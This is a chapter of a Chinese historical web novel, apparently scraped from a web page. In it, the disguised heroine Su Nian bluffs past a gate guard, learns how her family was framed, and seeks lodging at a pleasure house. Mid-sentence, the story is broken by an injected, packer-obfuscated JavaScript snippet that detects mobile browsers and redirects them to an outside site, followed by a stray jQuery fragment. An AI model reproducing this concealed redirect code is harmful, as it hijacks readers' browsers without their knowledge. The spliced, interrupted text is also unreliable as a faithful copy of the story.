夙念心头猛地一沉,后背瞬间沁出冷汗,她强压住狂跳的心,继续维持着农妇蹒跚的步伐。
十几年府尹千金的阅历让她太清楚守城卫兵的习性。
去年重阳节出城时,她亲眼见过逃犯冲卡,那些守卫也不过虚张声势地追出十余步便作罢,毕竟城墙内的纷争与他们无关,他们只需守住三丈宽的城门洞便是尽职。
黄芪的脚步声微不可察地滞了滞,夙念余光瞥见她抓住衣角的手微微抖动,指节都发白了。
两人依旧保持着那种疲惫农妇特有的拖沓又笨拙的步态。此时快步逃跑反倒是暴露了,且女子爆发力不足,逃不过守卫常年追捕练就的腿脚。
“站住!”身后的脚步声快速逼近,“我说那两个农妇,喊你们听不到吗?”
夙念能清晰感觉到身后人已经在五步之内了,此刻若再充耳不闻,反倒成了不打自招。
她停下脚步,转头看向守卫。
只见守卫眉头紧锁,气势汹汹的向她们走过来。
难道被认出来了?不能啊。夙念心里想着哪里出现了问题,脑子里已经过了千百个念头,盘算着如何回答。
守卫手中拿着一个手帕,丢给了夙念,沉声说道:“这是什么!”
夙念接过来一看,只见是前几日在集市上给黄芪买的帕子,怕是她一时紧张,掉了出来。
帕子倒也无事,只是最大的问题是,这帕子是丝绸制品,做工精良,虽是在集市上买的,也花了夙念五百文银钱,当时只想着黄芪喜欢,便买给她了,可此时这帕子与她们的身份实在匹配不起来。
若说不是她们掉的不知可不可行。
这个念头刚刚出现便被她否定了,想来守卫能追上来,定然是亲眼见着这个帕子掉出去的,如今说不是自己的,只能徒增嫌疑。
黄芪抖的更厉害了,看向夙念的眼神里带着歉意。
夙念回了她个安心的眼神,一脸淡定的回应:“哎呀,这是俺的手帕,谢谢守卫大哥了,劳烦您帮忙捡到。”
她说着,便把帕子随后接了过来,作势就要往怀里塞。
守卫一言不发的看着她的动作,冷冷询问道:“这帕子做工精良,一看便价值不菲,你们乡野农妇,哪里来的这等精妙的玩意?”
夙念心下一咯噔,这守卫果然不是个傻的,没有那么好哄骗,她脸上露出慌张的神色,嘴里念叨着:“如何就不能了,你这城里人如何还瞧不起人哩。”
黄芪瞳孔猛地一缩,不可思议的看向小姐,夙念使出了胡搅蛮缠这一招,只能说明,确实没找到合适的借口。
她一边悔恨自己只会给小姐添乱,一边在想该如何将这一切拦到自己身上将夙念摘出来。
她还没想出个所以然来,便听到守卫冷哼一声:“笑话,你都来城里讨生活了,还会买这等无用的贵重物品,说,这东西是不是你偷的!”
夙念眼神里带上被拆穿的懊恼之色,沉默了片刻方答话:“守卫大哥,俺说实话......这真不是偷哩,是......刚刚,是刚刚过去的那辆马车掉下来的,俺心想......心想拿着去城里换点银钱,说不定能换上几日的过夜钱,俺......俺们不要了,大哥给你吧......”
话说着便抽抽搭搭的哭了起来。
守卫脸上五味杂陈,思索了片刻,将手帕丢给了她:“走吧,当铺在首令街面朝南,不过你不一定能找到住处。”
“哎哎哎......”夙念连声应着,村妇的憨态表现的淋漓尽致,“谢谢守卫大哥了,守卫大哥你人真好哩,将来一定官运亨通,阖家欢愉。”
守卫摆了摆手,示意她们赶紧走。
转过头去,夙念一抹脸上本就不在的眼泪,轻声对黄芪说:“走。”
黄芪对小姐的佩服之情已经达到了前所未有的地步,只暗暗嘱咐自己,以后定然不犯这些小错了。
踏入帝京城内,夙念再次有恍然隔世的感觉,只是近两个月没踏进这生活了近二十年的地界,便如此陌生。
往常白日里摊贩都是摆满整条街,如今却只有三三两两的人出摊,想来只有逼不得以才在这种情况下出摊。
“先找个地方安置下,再看看该如何做吧。”夙念叹了口气,带着黄芪去住店。
可询问了三家,都爆满无房,细问之下方才知晓,城里来了很多外地的驻兵,居住场所有限,几乎全城的店都被官家征用了。
两人几乎走遍了整个帝京城,都没能找到合适的落脚地,夙念感觉自己的脚都肿胀了起来:“看来没办法避开府尹邸周围了,去那边看看吧。”
可询问下,愿望再次落空,这边也没有空房。
“小姐,怎么办啊。”黄芪都要哭出来了,“不然我们偷偷潜进府尹邸住吧。”
不用她说,夙念也动了这个心思。
两人悄摸摸走到府尹邸,想着绕着府邸转上一圈,再从侧门溜进去,却见到府尹邸门堂大开,很多官兵来来往往。
夙念心下一惊,拉着黄芪离开,离开百步之外,方才看到街上有路人,她拉过一个大爷,追问情况。
大爷脸上带着警惕,夙念一咬牙,决定搏一搏:“大爷不瞒您说,我原是府尹邸的下人,到了年龄嫁出去了,今日想回府尹邸看看老爷小姐,没想到府尹邸变了个模样。”
大爷闻言一脸唏嘘:“哦,倒是个重情重义的人,不过你这希望怕是不成了。夙大人做了这么多年的府尹,将帝京城治理的井井有条。没成想被人诬告谋反......”
“诬告?”夙念敏锐抓住他话中的字眼。
“可不是呗!”大爷一脸八卦,将夙念拉到一旁,声音小到夙念几乎听不清,“是丞相邸诬告的,你是嫁到外地去了吧,这事整个帝京城都知道。”
“嗯,说来听听。”夙念问到。
“丞相惯欺男霸女,怕是遭了天谴!他那嫡子不知怎么就掉水里傻了,之后丞相欺瞒人君,让人君降了圣旨,结果夙大人得知此事便上门讨要说法不成,便去寻了人君,丞相从中作乱,顺势给夙大人按了个意图谋反的罪名,结果人君当真了,把府尹邸封禁,府尹邸一夜之间都下了大狱。”
“结果没过几日,丞相迎娶了夙家大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214580|178866||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
小姐,听闻当着夙小姐的面子,便将夙大人砍杀了。结果大婚当日遭了天谴,整个丞相府被天雷夷为平地。人君闻言,彻查了此事,方才还了府尹邸一个公道。”
“可是这又能怎么样呢?”大爷摇摇头,脸上都是无奈,“府尹邸已经没活人了,下人放出来能跑的也都跑了......可惜了,那么好的夙大人。”
原来官方是如此对外传说的。夙念默默在心中有了计较,继续追问道:“那为何这府尹邸现在这么多兵马驻扎。”
“这个......”大爷将夙念又拉远了一段距离,用气声说道,“官府对外说的是,府尹邸与丞相邸连续出事,整个朝廷要趁此机会进行大整顿。可坊间都在传,宫中有大变动,不然整顿如何还要在城里驻扎这么多人。”
“什么变动?”夙念好奇追问。
大爷脸上露出意味深长的表情:“近日里出来活动的,都是尚服席大人的兵马......”
夙念谢过大爷,心中惊诧不已,原本听到府尹邸平反,她心中还是窃喜的,可如今席猛当政,不知他会不会对赤烬离的警告上心,如此想来,还是得想办法打探一下席家的立场。
“小姐,府尹邸也住不得了,我们该去哪儿?”黄芪急切的声音将夙念从沉思中拉回。
夙念略一沉吟:“倒还有个去处。”
她拉着黄芪拐进僻静小巷,指尖在空间戒指上轻抚,易容所需的物件便整齐摊开,不过片刻,黄芪便见到了一个熟人。
汀兰苑。
帝京城动荡不安,街上摊贩稀疏,唯独汀兰苑的生意愈发红火,兰姐满面红光,正忙着招呼往来公子少爷,一时竟未注意到门口的本真先生。
待她安顿好一位客人,扶着腰稍作歇息时,才猛然发现站在门边的身影。
“本真先生!”她脸上顿时绽放出夸张的惊喜,快步迎上前去,“您可算现身了!整整两个月杳无音信,店里催更的客人们都快把我这屋顶给掀了!”
夙念略显尴尬地笑了笑。
兰姐热切地打量着她:“今日可是来送新本子的?”目光在夙念和身后的书童身上来回扫视,见二人两手空空也不恼,依旧满怀期待地望着夙念。
夙念微微颔首,沉吟道:“实不相瞒,我并非帝京人士。这些时日城中动荡,故而耽搁了些时日。”
“我懂我懂,”兰姐连连点头,“早猜到是这个缘故。先生的去向我不便多问,只能日日期盼。”
夙念面露难色,继续道:“只是最新一集的情节处理尚有不足,本想在城中客栈修改后直接送来。谁知各家客栈都已客满......不知兰姐可否行个方便,容我二人暂住一晚?明日定当完稿奉上。”
兰姐一把拉住夙念的胳膊,香帕轻挥:“哎呀!我当是什么难事呢。汀兰苑最不缺的就是客房!桃花!快来带公子去开两间上等厢房!”
夙念展颜一笑:“那就叨扰兰姐了。最迟明日此时,新稿必定奉上。”
得到承诺的兰姐喜笑颜开,脸上几乎要开出花来:“本真先生,作为您的忠实读者,不知可否讨个福利?”